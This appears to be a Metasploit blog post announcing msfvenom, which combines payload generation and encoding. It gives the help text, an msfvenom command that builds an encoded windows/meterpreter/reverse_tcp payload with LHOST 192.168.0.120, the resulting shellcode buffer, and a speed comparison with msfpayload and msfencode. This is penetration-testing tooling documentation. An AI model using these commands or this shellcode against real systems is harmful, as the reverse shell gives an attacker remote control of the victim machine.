Last updated at Wed, 27 Sep 2017 21:23:07 GMT

The Metasploit Framework has included the useful tools msfpayload and msfencode for quite sometime. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules. Now I would like to introduce a new tool which I have been working on for the past week, msfvenom. This tool combines all the functionality of msfpayload and msfencode in a single tool.

Merging these two tools into a single tool just made sense. It standardizes the command line options, speeds things up a bit by using a single framework instance, handles all possible output formats, and brings some sanity to payload generation.

The usage of msfvenom is fairly straight forward:

fahrenheit:msf3 bannedit$ ./msfvenom -h  
Usage: ./msfvenom [options] <var=val>  
  
Options:  
    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads  
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all  
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload  
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war  
    -e, --encoder    [encoder]       The encoder to use  
    -a, --arch       [architecture]  The architecture to use  
        --platform   [platform]      The platform of the payload  
    -s, --space      [length]        The maximum size of the resulting payload  
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'  
    -i, --iterations [count]         The number of times to encode the payload  
    -x, --template   [path]          Specify a custom executable file to use as a template  
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread  
    -h, --help                       Show this message  

All these options are mappings of the msfpayload and msfencode options. Some minor things were changed to standardize things a bit. One change was the method of specifying the payload. The -p flag must be used to set the payload. The var=val pairs used to setup the datastore options for the payload still work the same way as msfpayload and can occur anywhere within the command line.

Here is an example of using the tool to encode a meterpreter/reverse_tcp payload:

fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=192.168.0.120  
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)  
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)  
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)  
buf =   
"\xd9\xf7\xd9\x74\x24\xf4\xbb\x9c\xec\xea\x8a\x5f\x2b\xc9"+  
"\xb1\x50\x31\x5f\x18\x03\x5f\x18\x83\xef\x60\x0e\x1f\x31"+  
"\x11\xe0\xa4\x2a\xfb\x23\xfd\xc7\xdf\x2f\xa4\x16\xd6\x61"+  
"\x10\x68\xb2\x95\x20\x60\xbe\x95\x7c\x65\x55\x40\x38\x01"+  
"\x4b\x51\x78\x5f\x1f\x36\xde\x3b\x99\x8c\xb2\x11\xb3\x8d"+  
"\x2d\x4c\x66\x7c\xbd\x02\x0b\xa6\xa9\x1a\x32\x65\xcf\x75"+  
"\xe8\x15\x1a\x62\x5f\x69\xe1\xdd\x90\x2e\x2e\x40\xe0\xb7"+  
"\x8b\x16\xfe\x15\xdc\x34\x4c\x4e\x18\x18\x03\x46\x22\xff"+  
"\xa8\x9b\xf0\xd5\x4f\xe0\xfd\xab\x71\x6e\x43\x03\xd5\x28"+  
"\x07\x29\x5e\xad\x8f\xd8\xaf\xbd\x69\x06\xf1\xd1\x4e\x9b"+  
"\x01\x7d\x5a\x75\x54\x76\x90\xdb\x5e\x7b\x97\x37\xa4\xab"+  
"\x2d\xe2\x17\x8e\xcf\x4b\xd0\x3f\xef\xc6\xff\xe5\x1c\xc3"+  
"\x99\x04\x15\x2e\xce\x5e\x16\x86\x5a\x2f\x62\x0a\x32\xe5"+  
"\xe1\xa4\xd3\x32\x92\x13\xfd\xcf\xb6\xa2\x8b\x97\xce\xf8"+  
"\x27\x12\xb0\x6f\xb5\xa8\x91\x30\x2c\x14\x40\x2f\x43\xd8"+  
"\x45\x46\xd0\x4c\x58\x59\x8d\x78\x47\xb2\xda\x79\x6c\xfa"+  
"\x07\x43\x18\xc4\x07\x0e\x2f\xd0\x71\x84\xcb\x1c\xab\x01"+  
"\xb0\x17\xed\x07\x1b\xb0\xcf\xd1\x25\xc1\x9b\x62\x7c\xac"+  
"\x43\x2e\x52\x36\xb1\xfc\x61\xbc\x0e\x56\xdc\xe1\x9d\xc2"+  
"\x29\x3f\xe9\xf3\xb1\xe2\x72\x77\x99\x4b\xf3\xfc\x83\xd2"+  
"\x19\x6d\x53\x4c\x64\xa0\xdd\x38\x82\x3d\x15\x66\x38\x96"+  
"\x39\xb3\xa4\xe3\xff\x07\xb7\x8a\x23\xca\xc6\xaf\x57\x64"+  
"\x3d\xf3\x23\x63\x42\x30\x90\x3b\x67\x26\x81\x24\x61\xc3"+  
"\xe4\x51\x75\x30\x47\xf8\x15\xcb\x21\xe9\x2a\x30\x9d\x04"+  
"\x28\xe3\x37\xb0\xa4\xaa\x1e\xf3"  

The above example generates a meterpreter/reverse_tcp payload in the ruby output format. The payload is encoded three times using shikata_ga_nai which was automatically choosen based on the encoder modules ranking. The -s option specifies the output should not exceed 480 bytes. Finally the LHOST=192.168.0.120 portion of the command sets the LHOST variable for use with in the payload.

The following shows a quick speed comparison of the tools performing the same task:

fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=192.168.0.120 -f ruby 1> /dev/null  
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)  
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)  
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)  
  
real    0m2.744s  
user    0m2.380s  
sys    0m0.367s  
  
fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.120 R|./msfencode -c 3 1> /dev/null  
[*] x86/shikata_ga_nai succeeded with size 321 (iteration=1)   
[*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)  
[*] x86/shikata_ga_nai succeeded with size 375 (iteration=3)   
  
real    0m3.070s  
user    0m4.227s  
sys    0m0.778s  

We can see msfvenom is slightly faster due to the use of a single framework instance.

The tool is still in its infancy and I am sure there are still a few bugs, so don't hesitate to give me feedback. If you find a bug or have a feature idea feel free to make a redmine ticket on https://dev.metasploit.com. We will be shipping msfpayload and msfencode as a fallback until msfvenom has matured a little more.